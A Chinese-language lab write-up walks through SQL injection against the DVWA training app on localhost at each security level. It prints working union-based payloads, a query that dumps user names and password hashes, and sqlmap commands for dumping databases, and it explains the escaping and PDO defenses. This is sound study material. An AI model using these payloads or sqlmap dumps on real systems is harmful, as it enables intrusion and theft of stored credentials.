WEB渗透学习|安全渗透学习-DVWA(SQL注入)
low:
手动注入:
判断注入点:
输入1,查询成功
文章图片
输入1'进行查询,返回查询错误,判断对‘未进行过滤处理
文章图片
文章图片
输入1 and 1=1查询
文章图片
输入1' or '1'='1,
遍历出了数据库中所有内容。
文章图片
使用order by
来判断查询表的字段数
2 成功,3不成功
文章图片
文章图片
通过内置函数来获取关键信息
即是让内置查询函数代替当前的显示位。
version()user()database()
1' union select version(),database()#
查询版本及当前数据库
文章图片
文章图片
可以看出目前使用的数据库为dvwa,数据库所有者dvwa@localhost
接下来我们爆表试试
在mysql数据库中还有一个information_schema数据库,这时候就要利用它啦!
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。
什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
获取表名
文章图片
或
文章图片
获取user表的列名
文章图片
从user表里查询user,password
文章图片
最后使用hash或者md5破解密码
法二:
查看cookie
文章图片
使用sqlmap 自动注入工具
设置cookie
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;
PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4"
存在注入
可以看到系统和服务器和数据库版本
文章图片
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;
PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4" --dbs
文章图片
-d 指定数据库 --tables 查看表
文章图片
--columns 查看列
文章图片
-C 指定参数 --dump 拉取数据
文章图片
Med:
修改用户输入方式,不能在web手动输入
文章图片
另外就是发送请求后,消息头变为post模式
文章图片
使用BP抓包,
文章图片
修改id参数重新发包
1' union select version(),database()#
请求失败
文章图片
使用id =1 or 1=1#请求成功
猜测过滤了‘参数,说明注入属于数字型
文章图片
查看源码:
文章图片
增加了
mysqli_real_escape_string函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00\n\r
\’"\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。>
输入 2 order by 2#测试可以看出字段有两个
然后测试方法和上相同
2 union select 1 ,database()#
查看数据库为dvwa
剩余步骤和low一样
使用sqlmap工具
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"--cookie="security=medium;
PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch
失败
由bP抓取的数据包分析,发送数据包为id=1---,可尝试增加data字段
尝试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"--cookie="security=medium;
PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit"
文章图片
文章图片
其余攻击步骤和LOW相同
High:
用户需要点击连接然后跳转进行输入
文章图片
文章图片
查看源码:
文章图片
可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样
1' or 1=1 union selectgroup_concat(user_id,first_name,last_name),group_concat(password) fromusers#
文章图片
High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
因为页面发生了跳转,使用sqlmap时,不能像MED级别时的方法
可以看到,这是从/session-input.php来的要去到我们之前的页面
/DVWA-1.9/vulnerabilities/sqli/
使用sqlmap
在同一个sqlmap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-url="xxxurl"一起尝试测试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php"--cookie="security=high;
PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/"
文章图片
文章图片
后续步骤与low相同
impossibe:
源码
文章图片
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才会成功输出。
PDO(PHP Data Objects)是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。
参考:
【WEB渗透学习|安全渗透学习-DVWA(SQL注入)】
推荐阅读
- 由浅入深理解AOP
- 继续努力,自主学习家庭Day135(20181015)
- python学习之|python学习之 实现QQ自动发送消息
- 一起来学习C语言的字符串转换函数
- 定制一套英文学习方案
- 漫画初学者如何学习漫画背景的透视画法(这篇教程请收藏好了!)
- 《深度倾听》第5天──「RIA学习力」便签输出第16期
- 如何更好的去学习
- 【韩语学习】(韩语随堂笔记整理)
- 焦点学习田源分享第267天《来访》